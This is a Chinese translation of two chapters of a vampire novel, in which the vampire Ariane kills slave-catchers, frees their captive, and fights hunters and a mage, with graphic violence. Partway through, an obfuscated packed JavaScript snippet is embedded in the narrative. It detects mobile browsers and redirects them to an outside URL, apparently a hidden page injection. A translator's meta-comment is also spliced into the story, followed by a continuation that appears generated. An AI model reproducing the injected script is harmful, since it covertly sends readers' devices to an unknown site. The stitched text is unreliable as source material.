我拼命奔跑着离开了蒙特福特，感觉自己轻如羽毛。我没想到一切会如此顺利。我抬头望向夜空，与那“沉默的守望者”对视了一眼。今晚，它的目光似乎更加温柔。 “希望你和我一样享受这一切。” 前方的道路已然敞开。 14. 吸血鬼阿丽亚娜的夜 我离开蒙特福特已有一周时间。这期间，找地方栖身对我来说并不困难，我常常躲进那些为过冬而锁闭的棚屋和谷仓。攀爬技能让我无需费力破门而入，实在没办法的时候，我也不过是卸下几块木板。 在食物方面，获取起来同样不费吹灰之力。有好几种“猎物”可以选择。有些村庄设有哨兵，他们提着灯笼四处巡逻。那灯笼的光亮在几百米外都清晰可见，我倒觉得他们这是在“贴心”地给我指路。我只要跟着那光亮，就能找到“食物”。此外，还有一些夜间出行的人。令人惊讶的是，因各种原因在夜间赶路的人还真不少，比如回家的商人、出诊的医生、休假的士兵等等。这些就足够了。实在万不得已的时候，我也可以脱下一层衣服，满脸绝望地去敲人家的门，不过这是我最后的手段。 我听从了希梅纳的建议，不停地转移，并且不留下任何尸体让人发现。我发现，最好的办法就是从一开始就不制造尸体。但今晚似乎要例外了。 我已经走到了有人定居的区域边缘，开始向东，沿着乔克托族的领地边缘前行。这里曾经也是原住民的土地，但在某位州长认为只有对方拥有现代化军队时才需要遵守条约后，这片土地就易主了。我注意到，自从经过莫比尔之后，这里的土地和居民都越发粗野。 就拿眼前这件事来说。 “轮到你了，布克！” 我站在一片小空地的边缘。空地另一头拴着一只猎犬，它正贪婪地啃着一块烧焦的肉。两顶打着补丁的帐篷分别搭在小火堆的两侧，地上满是啃了一半的骨头和空瓶子。三个二十来岁、脏兮兮的男人围在旁边，其中一人扔出一把刀，擦过绑在树上的奴隶的脸颊，引得那奴隶发出一声低低的呜咽，他们见状哄堂大笑。 我皱起眉头，满心不满。我理解玩弄猎物的行为，但眼前这一幕却让我心里很不舒服。这个黑人在绝境中还能表现出勇气，难道不应该得到一些尊重吗？ 眼前的情况再明显不过。这个奴隶逃跑了，却又被成功追捕回来，现在他将依照《黑人法典》被送回去审判和惩罚。可他们这样无端折磨他、让他流血，在我看来既浪费又不尊重“猎物”和“狩猎”。 这些人让我感到厌恶，而我又正“口渴”，那就来看看他们是不是真像自己以为的那样是捕猎者吧。 我退回去，藏好背包和珍贵的步枪。迅速穿上最破旧的裙子，把旅行披风扔在地上，然后回到营地。思量片刻后，我故意露出一边白皙的肩膀。诱饵已经设好。 我弓着身子，摆出一副受害者的姿态，双臂交叉护在身前。走进空地时，我故意大声喘息，还踩断了一根树枝。狗开始狂吠起来。 那三个人却没注意到我。真是难以置信。 直到那奴隶的眼睛突然瞪大，他们才转过身来。我已经维持了足足十秒受惊小鹿般的表情。天呐，为了把这变成一场像样的较量，我费了多大的劲啊！我本可以拧断其中两个混混的脖子，而最后一个可能还在一边挠着□□一边傻笑。真希望从现在起他们能表现得好点。 “哟，瞧瞧这小美人儿，迷路了吗？别担心，我和兄弟们会好好‘照顾’你的，对吧，伙计们？”为首的是个瘦高个，面目狰狞。 “是啊，嘿嘿嘿。”一个矮个子男人应道，他留着浓密的胡须，还有只斜视眼。第三个人只是站在那里，脸上挂着空洞的笑容，口水顺着下巴流下来。 就这样，我连和他们说话的兴致都没了。对手明显毫无还手之力，根本没必要和他们斗智。于是，我发出一声惊恐的尖叫，转身就跑。 不出所料，那三个人大笑着追了上来，还带着醉意。我不得不放慢速度，免得他们跟丢。最后，我们跑到了另一片空地，我向左一拐，躲到了我能找到的最高的山毛榉树底下。 那三个人来到空地，为首的皱起眉头，打了个手势，他们便分散开来寻找我的踪迹。 “真该把狗带来的。”为首的说道。 就算带了狗也救不了你。 我等他们分散得差不多了，才把一只脚从藏身之处伸出去。离我最近的那个笨蛋一看向这边，我就折断一根树枝，他的目光立刻被吸引过来。我希望他蠢到能上这个再明显不过的当。 他还真上当了。我并不意外，但还是有点失望。 我眼角的余光看到那个叫布克的大胡子男人，正示意他的朋友们过来。当然，他们离得太远根本没注意到，所以他只能喊他们，这样一来就会暴露我已经被发现了。或者他也可以趁我不备直接动手。 布克的想法太好猜了。我知道他想尽快结束这场追逐，也知道他为什么这么想。他想的是另一种“消遣”。 这个男人像头醉酒的公牛闯进瓷器店一样，毫无顾忌地一步步靠近。风吹过来，我闻到一股他身上的恶臭。 哦，我的天！我真的要喝他的血吗？真的不会染上什么病吗？我觉得之后恐怕得把这条裙子烧掉，不然隔着一里地都能被人闻到。一个人怎么能让自己这么恶心？他的鼻子怎么还没烂掉？啊，情况越来越糟了。 这个男人伸出一只脏手来抓我的腿，就在他的手快要碰到我的袜子，把它弄脏到洗都洗不掉之前，我动了。两根手指掐住他的气管，但暂时还没吸血。我冲他笑了笑，故意让他看到我的八颗尖牙。 我开始轻声说道：“恭喜你，抓到……”然后我愣住了。 这个男人居然尿裤子了。我原以为这味道已经够难闻了，没想到我错得离谱。 “啧，你这让人恶心的猪猡！我……”我又停了下来。 有个东西从他的胡须爬到了我的手臂上。我的视力增强，看清了这个不速之客，震惊得瞪大了眼睛。是虱子。 “嘶！” 够了！我一拳打在他的喉咙上，抓住他的胳膊，狠狠地咬了下去。在我的“安全避难所”里，我无暇顾及血液带来的快感和随之涌上的回忆，只是盯着“沉默观察者”留下的幻影。 “别想了，别想了，别想了……” “呃啊！”我最后一阵厌恶地颤抖，扔掉那只沾满血的胳膊，他的尸体也随之倒在地上。我弄得有点一团糟，心里暗暗责备自己。无论如何，我都不应该浪费鲜血。可是…… “布克？”为首的男人皱着眉头，朝我这边走来。我把那具可怕的尸体推进一个隐蔽的地方，然后在空地上装作小心翼翼地向前走。接着，我装作刚看到他，惊恐地尖叫着跑开。 为首的男人笑了笑，开始追赶，瞬间把他朋友的事抛到了脑后。 我们跑了大概半分钟，在这期间，这个男人一边追一边说着要让我“享受”，还威胁我要是不停下来会有什么后果，骂我是蠢婊子，还对我的屁股评头论足。说真的，男人怎么都对我的屁股这么感兴趣？我该问问吗？ 最后，我假装摔倒。这个瘦高个的混混停下来，得意地看着他的“猎物”在地上爬。他眼中的光芒和舔嘴唇的动作已经说明了一切。然后我转过头，随意盯着树上的一个地方。 “你后面！”我惊恐地尖叫道。 这个男人皱起眉头，转过头去，就在这时，我的两只爪子掐住了他的脖子。 “我说，”我用性感的声音补充道，“你后面……” 我尽情享受着吸食这个为首男人的鲜血，现在已经饱了。今晚的“口渴”已经缓解，可我现在面临着一个难题。 我是该杀了眼前这个蠢货，还是放他走呢？ 我不确定自己能不能让他忘掉这一切。之前在路上吸食路人的血时，咬一口再看他们一眼，就能让他们对发生的事毫无记忆。但这次不一样，一场追逐还导致了朋友失踪。如果我放他走，他会不会说出有个穿着破旧裙子的金发女人？往好的方面想，懂行的人可能会察觉到这是吸血鬼干的；往坏了想，他们可能会展开追捕。 他很危险。 可这真的全是他的错吗？他看起来太蠢了，可能都意识不到自己做的事有多邪恶。他那些“朋友”很可能带坏了他。我是不是太草率了？ 我已经感觉有点微醺了。吸血鬼喝太多血会醉吗？肯定不会。 “你这个女人！我找到你了！”这个笨蛋终于发现了我，接着他解开皮带，往下脱裤子。 “我要像对待女仆一样对你！” 好吧，不用纠结了。 “嘻嘻嘻！” 哦，今晚的夜色多美啊！如此宁静、平和，天气也很宜人。我真想在月光下办一场茶会！还有“沉默观察者”！不过，不要茶，换成绅士们在桌上，希梅纳和康斯坦萨也能来！那些绅士们还得是……□□的！ “嘻嘻嘻嘻嘻嘻，□□！” 但首先我得把尸体处理掉，因为希梅纳说过我应该这么做，希梅纳可是我世界上最好的朋友！把尸体弄到一起很容易，那个笨蛋本来就在这儿，我去把为首的那个找来，找了一会儿才找到，然后把他拖过来堆在一起，接着又去找那个臭烘烘的家伙，他太恶心了，于是我解下笨蛋的皮带，绑在他腿上，再系在笨蛋的头上。这样拖着笨蛋，就能把他们俩一起拖走啦！ “太聪明了！阿丽亚娜，你的智慧之光真是照亮了这个世界！” 于是，我又拿过为首男人的皮带，把他的头绑在笨蛋的腿上，这样我就能一次把三具尸体都拖回营地了！我的创新能力简直无穷无尽！我扛起为首男人的尸体开始拖，结果脸朝下摔了一跤。 好重啊！ 我吐出几片树叶，抬头看着“沉默观察者”。 “你什么都没看到！” 它只是静静地看着。 “好吧！但别告诉任何人，我是认真的！”我一边喘着粗气一边继续说，“我还要维护我的名声呢。” 我拖着这一串尸体往营地走，途中只摔了两次，还撞到了一棵树。阿丽亚娜，灵活女王！ 我回到空地时，狗开始狂吠起来，我吼了一声，它就呜咽着安静了下来。真是只好狗。 我放下“行李”，四处找铲子。周围没有沼泽，看来还是把尸体埋了比较好。 哦，等等…… 我转过身，打了个嗝，一道血迹从下巴流下来。阿丽亚娜，注意点礼貌！啊，对了，我想起来了。还有那个俘虏！ 我走近他，这个黑人异常平静地看着我。他可真勇敢啊！我的嘴上全是鲜血，他却连眼皮都没眨一下！ “你好，公主殿下。” 嗯？他刚才叫我…… 这个男人不顾手腕被绳子勒得生疼，向前倾身，露出了颈动脉。 这太不寻常了，太让我兴奋了！他居然会说我们的语言！还很有礼貌地称呼我为“Nin”，也就是公主！他这个顺从的姿势，让我觉得不该伤害他。我现在好奇起来了。本来我打算干脆利落地杀了他，但现在我非得听听他要说什么不可！ 话不由自主地从我嘴里冒了出来。 “求告者。” 这个男人听了，如释重负，差点瘫倒在地。怎么？他这么紧张吗？ “公主殿下，请您解开我的双手好吗？” 这是个合理的请求，而且，他现在这样也没法好好下跪。求告者的姿势完全不对！ “好吧。” 我走到他身边，用爪子几下就割断了绳子，就像猫一样！“嘻嘻嘻嘻嘻！” 现在这个男人揉着自己的手腕，可我的求告者应该下跪啊，他人呢？ 他愣了一下，缓缓跪下，又一次把喉咙伸向我。这才对嘛！我满意地不再吼叫。 “你可以起来了。” 他没动，于是我叹了口气。 “你可以起来了。” 愚蠢的阿丽亚娜，你不能指望每个人类都懂我们的语言！算了。 “你叫什么名字？” “图桑。” 原来是个克里奥尔人！这或许能解释得通。他可能认识埃孔族的人，说不定还认识那个声名狼藉的女孩娜米。有可能。 “你怎么知道该怎么称呼我？” “公主殿下，有个巫毒祭司在各个种植园之间走动。他给我们讲巫毒教和魔法的事，还提到了洛阿神、狼人，还有你们这些‘苍白之人’。他说要是有人在夜里遇到‘苍白之人’，一定要礼貌地打招呼，祈求他们大发慈悲。” 我抬起手，这故事很有意思，但我现在有更要紧的事要做。 我冲向最近的灌木丛。 “哦哦哦哦哦……” 我吐出一口血。好臭啊！这血里一点生命力都没有。呸！我不该喝那么多的，可我又不想浪费那些鲜活的生命。 “嗝！呃……” 我回来的时候，图桑一动没动。尽管天气很冷，他的额头却布满了冷汗。 “狼人到底是什么东西？” “就是狼人。被诅咒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054921|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂，在月光下会变成可怕的怪物。据说它有两个人那么高，浑身是毛，力气大得能撕开金属！只有用银器才能杀死它，但这可不是件容易的事！因为这种野兽太可怕了：它的嘴像狼嘴，里面长满了……” “哦哦哦，原来是这样啊。嗯，味道还不错。充满了生命力和力量。不知道我还能不能再抓到一只？” 图桑没有回答，但我又闻到了他的恐惧。我说错什么了吗？算了。 “所以你以求告者的身份出现。现在告诉我，你有什么请求？” “嗯，我想活下去。” “嗯！” 我用食指轻敲下巴，琢磨着他的话。他想活下去，这听起来倒也合理，反正我也不想再吸食其他人的血了。或许可以放他走？ “啊，图桑，我也希望能放了你，可我实在不能让人到处宣扬我的行踪。你看，”我抓住他的肩膀，凑近他，因为这是个秘密，“我在尽量……尽量……等等，低调行事！”他微微一颤，“对，就是这个词。嘻嘻！” “这不是问题，公主殿下。”他回答的时候，语气中带着一丝惊慌，“我可以向洛阿神发誓！” “那又怎样？” “要是我违背誓言，我的灵魂将在地狱里永受煎熬！博德神永远都不会原谅我！” “嗯……把手给我。” 我轻轻咬了他一口，盯着他的眼睛。 “你想背叛我？” “不，公主殿下！图桑是个有荣誉感的人！” “你相信违背对洛阿神的誓言，灵魂就会下地狱吗？” “当然！”他回答道，似乎被我的问题冒犯到了。 “嗯。那好吧。我同意放你走。但作为交换，你得帮我把这些尸体埋了。” “公主殿下？真的吗？”他舔了舔嘴唇，眼中满是希望。 “真的。现在发誓！” 我本以为他会随便说几句应付过去，没想到他居然用木头和烟灰搭了个小祭坛，嘴里还念念有词，做了一场长长的祷告，甚至还大声宣称要是违背誓言就会不得好死。真奇怪！原本平静的夜晚，突然就发生了这么不寻常的事，一场异教仪式。还挺新奇的！ 仪式结束后，图桑找了个小沟壑，我们把尸体扔进去，然后用土和大石头盖上，免得被野兽挖出来。大功告成！尸体不见了。阿丽亚娜，魔法女王！ 我们最后一次回到营地。图桑向我保证他知道要去哪儿，会处理好那些人的财物和他们的狗。他还主动给我指了路。说完，我们就分道扬镳了。我离开的时候，他那既感激又难以置信的表情真的很感人。用我父亲的话说，他是个好小伙。 按照他给的建议，我很快在一个天然洞穴里找到了栖身之所。虽然时间还早，但我还是决定今晚就到此为止，好好休息。在翻译并润色连贯这段内容时，重点在于将原文中口语化、生动的表述，用符合中文习惯且连贯流畅的语言呈现，同时精准传达出故事中的情节转折和人物情感。下面是接着上文继续翻译润色的内容： 我在洞穴中安顿下来，尽管外面的世界还未完全被夜幕笼罩，但我的身体却像是被一天的经历耗尽了精力，催促着我休息。我找了个相对干燥、平坦的地方，铺好从营地带来的破旧毯子，当作临时床铺。洞穴里弥漫着潮湿的泥土气息，偶尔还能听到远处传来的夜行动物的叫声，但这些声音并没有让我感到不安，反而像是一种熟悉的背景音，陪伴着我进入梦乡。 在半梦半醒之间，我回想起今晚发生的一切。那些可恶的男人，他们的残忍和愚蠢让我感到愤怒，但同时也成为了我生存的“食物”来源。而图桑的出现，却打破了我原本简单直接的“狩猎”模式。他的礼貌、对我的文化的了解，以及他强烈的求生欲望，都让我对他产生了一种复杂的情感。我不禁思考，在这个充满危险和未知的世界里，像他这样的人还有多少？我又该如何在满足自己生存需求的同时，避免引起不必要的麻烦？ 随着思绪的飘散，我逐渐进入了梦乡。在梦中，我回到了家乡，回到了那个充满欢声笑语的城堡。我看到了父亲、母亲，还有希梅纳和康斯坦萨。我们在花园里举办着盛大的宴会，月光洒在我们身上，一切都是那么美好。然而，就在我沉浸在这份幸福之中时，突然一阵狼嚎声打破了宁静。我惊恐地四处张望，发现一只巨大的狼人正朝我们扑来。我想逃跑，却发现自己的双腿像是被钉住了一样无法动弹。就在狼人快要扑到我的时候，我猛地惊醒了过来。 我喘着粗气，冷汗湿透了我的额头。梦境中的恐惧还未完全消散，我花了好一会儿才缓过神来，意识到自己正身处洞穴之中，是安全的。我坐起身，揉了揉脑袋，试图让自己清醒一些。这个梦让我感到不安，我不禁联想到图桑提到的狼人。难道这是一种预兆吗？还是说，这只是我今晚吸食了太多鲜血，导致大脑产生的混乱幻觉？ 我摇了摇头，决定不再去想这个梦。反正天也快亮了，我也该为新的一天做准备了。我整理好自己的衣物，检查了一下背包里的物品，确保没有遗漏。然后，我走出洞穴，深吸一口清晨清新的空气。阳光透过树叶的缝隙洒在地上，形成一片片光斑，仿佛在提醒我，尽管夜晚充满了危险，但白天依然会带来希望和新的开始。 我按照图桑给我的指示，踏上了新的旅程。一路上，我尽量避开人群，选择走那些偏僻的小路。我不想再引起不必要的注意，尤其是在昨晚发生了那样的事情之后。我知道，只要我足够小心，就能够在这个陌生的世界里继续生存下去。 随着时间的推移，太阳逐渐升高，天气也变得越来越热。我找了个阴凉的地方休息，吃了一些从之前的营地找到的干粮。在休息的时候，我不禁又想起了图桑。不知道他现在怎么样了，是否已经安全地逃离了那个危险的地方。我希望他能够遵守自己的誓言，不要把我的事情说出去。毕竟，在这个对吸血鬼充满恐惧和误解的世界里，我的存在一旦被发现，将会带来无尽的麻烦。 休息完毕后，我继续前行。傍晚时分，我来到了一个小镇的边缘。小镇上灯火通明，传来阵阵欢声笑语。我知道，这里是人类的聚集地，我必须格外小心。我远远地观察着小镇的情况，寻找着可以安全通过的路线。就在我准备绕开小镇继续前行的时候，突然听到了一阵熟悉的声音——是狗叫声。这声音让我想起了昨晚那只猎犬，一种不祥的预感涌上心头。 15. 暗夜猎杀：吸血鬼的反击 昨天的事就像没发生过一样。没错！根本没发生。什么尴尬的事都没发生，绝对没有。我下巴和衣服上的血？那是打猎时出的意外。我当时在猎鹿，对，一头鹿，而且是头很凶猛的鹿。 我走在一条小径上，这条路位于路易斯安那州本土和原住民土地的交界处。尽管昨天才饱餐一顿，可我现在又感到口渴了。 我还觉得有点孤单。 我从没想到会这样。我才上路一周，然而，和图桑（Toussaint）这个普通人的一次简单交谈，就让我想起了自己放弃的那些东西。我想和人聊聊天，学习新事物，讨论各种想法。我可不想变成隐士。 平凡生活总是能轻易地重新占据我的思绪，这让我觉得很神奇。以前我侍奉那个红头发的贱货女王时，只想一个人待着；在竞技场上时，只渴望找点乐子；而现在，我却渴望有人陪伴。人总是贪得无厌，就算死了我也没能例外。 我叹了口气，背起背包。我现在只有三套衣服，其中一套还是胸口有个洞的战斗服。我真该带个针线包的…… 我经过莫比尔（Mobile）的时候太匆忙了，本应该停下来补充点物资的。我不用吃东西这一点让我大意了，而且…… 我在小径上停了下来。这两天我大多都在森林里行走，山丘、树干和时不时出现的岩石，让我的视野受限，即便我视力很好也没用。 我闭上了眼睛。 我听到了活木的嘎吱声和呻吟声、远处鸟儿的叫声，还有风声。 奇怪，我敢发誓我感觉到了什么，不是我熟悉的魔法生物的气场，而是一种更微弱、更缺乏生机的气息。 嗯。 我加快了脚步，离开小径，朝最近的一座小山顶走去。我的直觉从未骗过我，肯定有什么不对劲。 我到达山顶，环顾四周，除了树木和寂静，什么都没有。我用爪子抠着树干，爬上了能找到的最高的一棵树。还是什么都没有，现在我的手指上还沾满了树液。 那种感觉时有时无，而且越来越近、越来越强烈。我还是不知道那是什么，但我只能想到一种解释：有人或者什么东西在跟踪我。 我该逃跑吗？我能跑掉吗？逃跑会让我更口渴，如果必须匆忙逃跑，在这里找血喝可就难了。 我该设伏吗？如果对方知道我的准确位置，那这就毫无意义了。嗯，也许他们不知道。我觉得跟踪我的东西就像是在森林里大声呼喊找人，然后对方回应了一样，是用魔法在追踪我。 我需要更多信息。我得先躲起来，看看来的是什么，一旦有危险的迹象，我就立刻像风一样逃走。 半小时后，那种感觉又回来了，和之前一模一样。 我确定有人在追捕我。然而，他们停了下来。 我又等了半个小时，还是没有变化。那种感觉再也没有出现，这让我很害怕。很可能，跟踪我的东西知道我的大致位置，它发现我停下来后，也决定停下来，我终于明白为什么了。时间对我不利。 如果他们能在白天追踪我，那我就完了。大多数吸血鬼会躲在有忠诚追随者守护的堡垒里睡觉来保护自己。在那次堡垒突袭中，这一点就很明显了。我没有这些防御手段。我之前藏身的唯一优势是没人在找我，可现在不一样了。没有迷宫，也没有岩石地貌能把我藏起来，避开那些追杀我的东西。在某个熊洞里或者废弃的小屋里找到我的尸体，然后处理掉，对他们来说易如反掌。 这到底是怎么发生的？我还以为自己一直很小心呢。 算了，这已经不重要了。我必须弄清楚我面对的是什么。唯一让我欣慰的是，对方想等我毫无防备的时候再动手，这意味着它没把握在公平的战斗中杀死我。 然而，我没办法追踪它。我该怎么做呢？ 我有超强的视力、听力和嗅觉，我可以利用这些。我还有我的智慧，虽然也就那样。 我已经走了一周，大部分时间是向北，现在在向东走。从逻辑上讲，跟踪我的东西肯定在我后面。我得原路返回。其次，跟踪我的东西很可能是有智慧的。的确，我觉得野兽不太可能有耐心等到白天再捕杀猎物。它很可能是沿着我的踪迹追来的。 我拿出步枪并上好子弹以防万一，还好最近没下雨。我还确保希梅纳（Jimena）的刀就在伸手可及的地方。 纸弹药筒上的牛脂味真难闻，我真不想闻到这个味道。呸！ 我往回走，每走三百步就停下来。我闭上眼睛，倾听声音，嗅着空气。没发现任何异常，我就继续走。 我这样走了整整一个小时，越来越难以忽视那种口渴的感觉。也许我该放下一切，去图桑提到的那些小哨站，找点吃的，然后再回来？这只需要几个小时…… 不行！我感觉自己快找到追踪我的东西了，不能放弃。 我太分心了，当那种追踪的感觉再次出现时，我惊讶地叫出了声。这次比之前更近、更强！我真想四处乱跑…… 不。冷静，阿丽亚娜（Ariane），你能行的。 那种感觉就像脉搏，又像平静湖面上的涟漪，一圈圈扩散开，遇到障碍物又反射回来。 我还是不知道它是从哪里传来的，它可能在任何地方……我失望地吸了吸鼻子，突然闻到了一股新的味道。我沿着小径向前冲，终于辨认出来了，是马粪的味道。 我走近一些，能看出这马粪还很新鲜。我跪下来，盯着地面。地上到处都是带着马蹄铁的深深蹄印。 我虽然不是追踪专家，但也能看出一些端倪。是人类在追捕我，因为吸血鬼和狼人打猎的时候不会骑马，原住民也不会用钢制的马蹄铁。而且，追捕我的不止一个人，但也不是很多。这意味着凶手是一小队加百列（Gabriel）的手下，或者是一群法师。考虑到我确定自己是被魔法追踪的，我觉得应该是法师。 这可麻烦了。他们可能有办法隐藏自己的行踪，或者隐身。说不定，他们还能把自己变成蝾螈！那我该怎么找到他们呢？ 我顺着马蹄印走到一个弯道，印记在这里消失了。我很快意识到，他们在那里离开了小路。肯定是那时他们发现我不动了。时间紧迫，我的耐心也快耗尽了。我必须在口渴难耐之前找到他们。 我跟着印记来到一片布满松树的岩石地带，在坚硬的地面上跟丢了。我不知道该怎么办了，我以前打猎都带着狗，现在没狗真不习惯。 我嗅了嗅空气，松脂的味道很浓烈，在这之下还有木柴燃烧的烟味。啊哈！有火！我找到一棵最高的树，开始往上爬。我顾不上爪子越来越粘，四处张望。 什么都没有，真的什么都没有。没有一丝冷却的余烬发出的红色光亮，没有木头烧成灰烬时的爆裂声，甚至连一缕升上天空的烟都没有。 他们在躲着我。 我该怎么办，我到底该怎么办？在我变成一只疯狂的野兽，然后掉进他们精心准备的陷阱被杀死之前，我可以一直在这里四处寻找。不，等等，他们不可能离得很远，我可以从一个山顶走到另一个山顶，靠嗅觉找到他们。啊，这太费时间了。 啊，我差点忘了。 他们有马。 我想起昨天，我把一只狗吓跑了。马是猎物，应该很容易被吓到。我只要想办法让它们惊慌失措就行。 我可以放火烧了这片森林。 不行，阿丽亚娜，这是你自尝试炸黄油以来想出的最蠢的主意。你不是火之生物，不，你是夜之生物。 那就来吓唬吓唬他们。 “吼啊啊啊！” …… 这叫声太弱了，估计只吓到了三只蝙蝠和一只松鼠。这样不对，我表现得太像人类了。 我闭上眼睛，集中精力。 在我平静的思绪之下，是那些曾多次救过我的本能。在紧迫感和口渴感的驱使下，我唤起这些本能，将它们释放出来。 我感觉到微风拂过脸庞，闻到了一丝淡淡的木柴烟味。我的血液在夜晚沸腾，这是属于我的时刻。猎物就在附近。没人能追踪到吸血鬼，找到他们，杀了他们，拿走战利品。他们像蟑螂一样躲着，让他们知道，让他们知道我不是猎物，我才是顶级掠食者。 夜晚是属于我的。 “吼啊啊啊啊！” 一声恐怖的咆哮如火山喷发般响起，在山谷和森林中扩散回荡，填满了每一个角落，传到了每一根树根之下。数以百计的动物因恐惧而僵住，数百万年的自然选择让它们想起了自己在食物链中的位置。这是愤怒的具象化，是远古时代的嘶吼，那时，胜利者会吃掉受害者鲜血淋漓的心脏。 就在那里，传来一声马嘶。猎物！在我左边不远处。他们离得很近了！ 我向前冲去，然后又放慢了脚步。 他们知道我来了。直接冲向一个法师已经被证明是愚蠢的行为，而且几个月有限的训练也不可能突然把我变成战斗高手。我得智取。或者直接冲进去，杀了他们，喝他们的血。 不。 我又听到一声压抑的马嘶，还有马蹄踏地的声音。他们就在那块高高的岩石后面。 我环顾四周，在我右边大概三十步远的地方，有一棵巨大的松树。我小心翼翼地走过去，放下背包。 换装备？ 换。我穿上战斗服，不得不说有人能做出既优雅又实用的衣服真是太棒了，它甚至还有口袋！难以想象吧。 我把匕首系在腰间，把步枪背在肩上，开始往上爬。我爬树的时候动静不算小，但还是成功地在树枝间穿梭，爬到了合适的高度。 他们在那里。 三个男人坐在一个被岩石环绕的隐蔽空地上。唯一的入口背对着小路，这意味着不管谁跟踪他们，都得先绕过那堆岩石，然后再绕回来。其中一个男人正努力控制着三匹驮着重物的马，另一个坐在熄灭的篝火旁冥想，最后一个则拿着…… 那是把火枪吗？好吧，至少他们很认真对待这次追捕。 他们周围有个奇怪的圈子，在我眼中，它散发着白色的光环，让空气像被加热了一样闪烁。尽管离得很近，但我却感受不到法师身上那种我熟悉的彩色气场。 我思考着我的选择。我必须尽快杀了他们，但有几种不同的方法可以尝试。 我可以直接跳到他们身上，这样能在其他人反应过来之前先干掉一个，但我不知道那个奇怪的屏障有什么作用。它可能只是让我感受不到他们的气场，也可能会把我点燃，那可就难受了。 或者，我可以试试我那把全新的、还没机会用的塔利兰定制56口径后装步枪，我现在在树上，而且几乎完全被黑暗笼罩，相对比较安全。 嗯…… 砰！ 子弹击中了那个坐着的男人的胸口。太好了！他惊叫一声，向后倒去。 等等，他很惊讶？ 那个圈子消失了。受伤的男人惊慌地把手伸进口袋，拿出一个奇怪的东西，开始喃喃自语，拿着火枪的男人则跪在他身边，朝我的大致方向瞄准。 哦不。 受伤的男人伸出一根手指，我赶紧松手从树上跳了下去，就在这时，一阵金属风暴把我藏身的地方打得粉碎。没关系，那就近身战斗吧。 我扔下步枪，拿着刀冲了上去。我在岩石上跳上跳下，最后落在他们的营地。那个法师还在喃喃自语，我震惊地愣在了原地，另外两个男人居然是加百列教团的！我还以为这不可能呢！ 一个快速的动作让我回过神来。两个猎人掏出了手枪，法师则拿出了剑，他们脸色苍白，满脸担忧。他们瞄准我，我继续向前冲。那个看守马的男人开枪太快，子弹完全打偏了，但另一个人等到我靠近才开枪。我用力一推，冲向法师。在最后一刻，我假装减速，然后突然向下一躲。一声枪响震得我耳鸣，一颗子弹擦着我刚才头部的位置飞了过去。我向前一躲，砍向猎人伸出的手。可惜，我的刀砍偏了，只是让他扔掉了打光子弹的武器。他迅速抬手，一把银匕首朝我飞来，叮的一声打在我的前臂上，没造成什么伤害。 等等，这件衣服有护甲？我之前都不知道！ 我把注意力重新放回法师身上，他闻起来太美味了！我朝他扑了过去。 “火鞭！” 一条燃烧的火蛇愤怒地缠上我的脖子，我向后一退，用尽全力砍向它。刀砍进火蛇里，这个魔法造物像肥皂泡一样爆开了。 “啊！” 我挡开猎人扔来的另一把银匕首，绕到法师身后。 “刺猬！” 他背上突然长出银色的尖刺，很容易躲开。我不能碰他的背，不然会被刺穿，但我也没必要碰。 我一只脚站稳，另一只脚蓄力，然后用尽全力踢了出去。我的脚带着一阵树叶飞了出去，正中法师的要害。他被踢得飞了起来，然后重重地摔在几英尺外，痛苦地蜷缩成一团。 谢谢你的建议，马库斯（Marcus）。就像你常说的，“直接踢他的要害”。 我无视另外两个男人脸上惊恐万分的表情，冲向第二个猎人。第三个，就是那个在马旁边的，像个新手一样挥舞着手枪。 威胁不大。 我现在行动更谨慎了。我还能加速，但口渴的感觉越来越强烈，我担心自己会失控。在这些敌人面前失控，可不是什么好主意。 我接近那个经验丰富的猎人，试图刺他。他用自己的刀挡开了我的攻击，但看起来我之前真的伤到他的手了。 “快跑，格雷古瓦（Gregoire），这是命令！” 那个在马旁边的男人犹豫了一下，但还是上了马，疾驰而去。可恶！绝不能…… 那个经验丰富的猎人趁我分心，划伤了我的手腕。我在最后一刻躲开了，刀刃只是划过了衣服的护甲。 “邪恶的怪物！” 这个男人年纪很大了，脸上满是皱纹，脸颊上有一道巨大的伤疤。但他的眼神却很锐利，充满了无尽的仇恨。 他迅速地朝我扔出一把刀，我连忙低头躲开。 “以上帝的名义！” 伴随着一声奇怪的、无声的爆炸，我被猛地向后推到岩石墙上。我勉强向左一闪，一颗子弹击中了我的右臂。我痛苦地尖叫起来，刀也掉了。 猎人已经在掏第三把手枪了。 我向前移动，然后侧身，抓住法师昏迷的身体举了起来。猎人试图绕到我身后找机会开枪，我用左手…… 砰。 时间仿佛慢了下来，我向左一闪。一道灼热的火线划过我的头部侧面。 “啊！” 好疼！该死！等着瞧吧。 就在猎人拿着另一把刀冲过来的时候，我慌乱的手终于找到了我要找的东西。当他看到我手里的东西时，原本充满希望的脸垮了下来。 一把手枪。 我扣动扳机，瞄准他的腿开了一枪。伴随着一声震耳欲聋的枪响，猎人倒下了，抱着腿痛苦地呻吟着。我没给他喘息的机会，跳到他背上，一拳打在他的脖子上，但没把他打死，他瘫倒在地。 我下意识地喘着气。我还活着，我赢了。 我得…… 首先，我得吸血。那个倒下的法师头部中枪，血流不止，真是浪费。 我把嘴凑近伤口，场面有点狼狈，但也顾不上了。 啊，太好了，这个男人没喝那种能毒血的药水。太棒了。虽然他的生命力不如狼人，但他身上的力量…… 我尽情地吸食着，直到他断了气。啊，真是太满足了。我站起来，活动了一下肩膀，立刻疼得后悔不已。 刚才一番打斗，我都忘了手臂上的枪伤。还好子弹直接穿过去了。 很快，在新鲜血液的作用下，我的身体开始自愈。虽然还很疼，但我感觉好多了。不错。不过，有个敌人逃跑了，这可不好。 我翻找着这些人的物品，找到一根绳子，把剩下的那个男人紧紧绑了起来，然后尽可能地缴了他的械。用了这么多绳子，除非他是魔术师，否则根本逃不掉。 等他醒了，我有很多问题要问他。 我开始追赶那个没经验的猎人，好像叫格雷古瓦。离天亮还有五个小时，我现在精力还很充沛。 